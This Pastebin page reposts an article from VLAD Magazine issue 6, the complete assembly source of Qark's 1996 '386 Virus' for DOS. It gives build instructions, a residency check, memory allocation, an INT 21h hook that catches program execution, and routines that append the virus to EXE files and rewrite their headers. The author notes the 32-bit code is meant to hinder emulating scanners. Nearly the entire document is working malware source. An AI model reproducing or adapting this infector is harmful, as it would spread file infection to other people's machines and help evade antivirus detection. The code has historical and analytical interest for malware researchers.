Advertisement
FlyFar

VLAD Magazine - Issue #6 - ARTICLE.4_7 - 386 Virus

Jul 13th, 2023
2,069
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 5.62 KB | Cybersecurity | 0 0
  1. ;
  2. ;                         386 Virus
  3. ;                       by Qark [VLAD]
  4. ;
  5. ; This virus is for purely research purposes, and would never take off in the
  6. ; wild.  It's purpose is to demonstrate the use of 32bit 386 instructions
  7. ; for DOS based viruses.  Half the time, using 32 bit instructions has no
  8. ; advantages and just ends up wasting space, but otherwise it can save space
  9. ; for example, using the multiple 'push' or 'pop' instructions.
  10. ;
  11. ; Using 32 bit code should also prove a problem for code emulating scanners.
  12. ;
  13. ;
  14. ; Assembly Instructions:    (Shareware A86 doesn't do 386 opcodes)
  15. ;  tasm 386
  16. ;  tlink /3 386
  17. ;  exe2bin 386
  18. ;  ren 386.bin 386.com
  19. ;
  20.  
  21.  
  22. .model tiny
  23. .data
  24.  
  25. .code
  26. .386
  27.  
  28. start:
  29.         org     0
  30.  
  31. ;        jmp     $
  32.  
  33.         db      0beh            ;MOV SI,xxxx
  34. delta   dw      100h
  35.  
  36.         cld
  37.  
  38.         ;Check if a 386 is present.
  39.         pushf
  40.         pop     ax
  41.         or      ax,2000h
  42.         push    ax
  43.         popf
  44.         pushf
  45.         pop     ax
  46.         test    ax,2000h
  47.         jnz     is386
  48.  
  49. exit_vir:
  50.  
  51.         ;Restore the original SS:SP, and JMPF to the proper CS:IP
  52.  
  53.         push    es
  54.         pop     ds
  55.  
  56.         mov     ax,ds
  57.         add     ax,10h
  58.         add     word ptr cs:[si+offset cs_ip+2],ax
  59.  
  60.         db      5                       ;ADD AX,xxxx
  61. ss_seg  dw      0fff0h
  62.         mov     ss,ax
  63.  
  64.         db      0bch                    ;MOV SP,xxxx
  65. spp     dw      0fffeh
  66.  
  67.         jmp     $+2
  68.  
  69.         db      0eah
  70. cs_ip   dd      0fff00000h
  71.  
  72. is386:
  73.         mov     eax,'VLAD'                      ;Nice long residency checks.
  74.         int     21h
  75.         cmp     eax,'ROCK'
  76.         je      exit_vir
  77.  
  78.         ;Standard memory allocation stuffs.
  79.  
  80.         mov     ax,ds
  81.         dec     ax
  82.         mov     ds,ax
  83.  
  84.         xor     edi,edi
  85.         cmp     byte ptr [edi],'Y'
  86.         jb      exit_vir
  87.  
  88.         sub     word ptr ds:[edi+03h],100h              ;(offset vir_mem/16)+1
  89.         sub     word ptr ds:[edi+012h],100h             ;(offset vir_mem/16)+1
  90.         mov     ax,word ptr [edi+12h]
  91.         push    es
  92.         mov     es,ax
  93.  
  94.         push    cs
  95.         pop     ds
  96.  
  97.         mov     ecx,offset vir_end
  98.         add     ecx,4
  99.         shr     ecx,2
  100.  
  101.         push    si
  102.         rep     movsd
  103.         pop     si
  104.  
  105.  
  106.         ;Set Int21 handler
  107.         xor     ax,ax
  108.         mov     ds,ax
  109.         mov     eax,dword ptr ds:[021h*4]
  110.         mov     es:dword ptr i21,eax
  111.  
  112.         mov     word ptr ds:[021h*04h],offset int21handler
  113.         mov     word ptr ds:[021h*04h+02h],es
  114.         pop     es
  115.  
  116.         jmp     exit_vir
  117.  
  118.         db      "386 Virus - by Qark/VLAD - 1996",0
  119.  
  120. int21handler:
  121.         pushad
  122.         pushfd
  123.         push    ds
  124.         push    es
  125.         cmp     ax,4b00h                ;Grab file execution.
  126.         je      infectit
  127.        
  128.         cmp     eax,'VLAD'
  129.         jne     return21
  130.         pop     es
  131.         pop     ds
  132.         popfd
  133.         popad
  134.         mov     eax,'ROCK'
  135.         iret
  136.  
  137. return21:
  138.         pop     es
  139.         pop     ds
  140.         popfd
  141.         popad
  142.         db      0eah
  143. i21     dd      0
  144.  
  145. int21h  proc    near
  146.         pushf
  147.         call    dword ptr cs:i21
  148.         ret
  149. int21h  endp
  150.  
  151. infectit:
  152.  
  153.         mov     ax,3d02h                ;Open file.
  154.         call    int21h
  155.         jc      return21
  156.         xchg    bx,ax
  157.  
  158.         push    cs
  159.         pop     ds
  160.  
  161.         mov     ah,3fh                  ;Read in header.
  162.         mov     cx,512
  163.         mov     dx,offset read_buff
  164.         call    int21h
  165.  
  166.         mov     esi,offset read_buff
  167.        
  168.         cmp     word ptr ds:[esi],'ZM'          ;Check for MZ header.
  169.         jne     close_exit
  170.         cmp     word ptr ds:[esi+12h],'VL'      ;Standard VLAD marker
  171.         je      close_exit
  172.         cmp     word ptr ds:[esi+0ch],0ffffh    ;Allocate all of memory ?
  173.         jne     close_exit
  174.         cmp     word ptr ds:[esi+18h],40h       ;Windows EXE ?
  175.         jae     close_exit
  176.  
  177.         ;Save SS:SP
  178.         mov     ax,word ptr ds:[esi+0eh]
  179.         mov     ds:ss_seg,ax        ;
  180.  
  181.         mov     ax,word ptr ds:[esi+10h]
  182.         mov     ds:spp,ax           ;
  183.  
  184.         ;Save CS:IP
  185.         mov     eax,dword ptr ds:[esi+14h]      ;Save cs:ip
  186.         mov     ds:cs_ip,eax       ;
  187.  
  188.         call    seek_end
  189.  
  190.         mov     cx,16
  191.         div     cx
  192.  
  193.         sub     ax,word ptr ds:[esi+8]
  194.  
  195.         mov     word ptr ds:[esi+14h],dx
  196.         mov     word ptr ds:[esi+16h],ax
  197.         mov     word ptr ds:delta,dx         ;
  198.  
  199.         add     dx,offset vir_mem
  200.         and     dx,0fffeh
  201.         inc     ax
  202.  
  203.         mov     ds:[esi+0eh],ax
  204.         mov     ds:[esi+10h],dx
  205.  
  206.         ;Write virus body.
  207.         mov     ah,40h
  208.         mov     cx,offset vir_end
  209.         xor     dx,dx
  210.         call    int21h
  211.  
  212.         call    seek_end
  213.  
  214.         mov     cx,512
  215.         div     cx
  216.  
  217.         or      dx,dx
  218.         jz      no_page_fix
  219.         inc     ax
  220. no_page_fix:
  221.         mov     word ptr ds:[esi+4],ax
  222.         mov     word ptr ds:[esi+2],dx
  223.  
  224.         mov     ax,4200h
  225.         xor     cx,cx
  226.         cwd
  227.         call    int21h
  228.  
  229.         mov     word ptr ds:[esi+12h],'VL'
  230.  
  231.         ;Write modified header.
  232.         mov     ah,40h
  233.         mov     cx,1dh
  234.         mov     dx,offset read_buff
  235.         call    int21h
  236.        
  237. close_exit:
  238.         ;Close file.
  239.         mov     ah,3eh
  240.         call    int21h
  241.  
  242.         jmp     return21
  243.  
  244. seek_end:
  245.         mov     ax,4202h
  246.         xor     cx,cx
  247.         cwd
  248.         call    int21h
  249.         ret
  250.  
  251. vir_end:
  252.  
  253. read_buff       db      512 dup (0)
  254.  
  255. vir_mem:
  256.  
  257. end     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement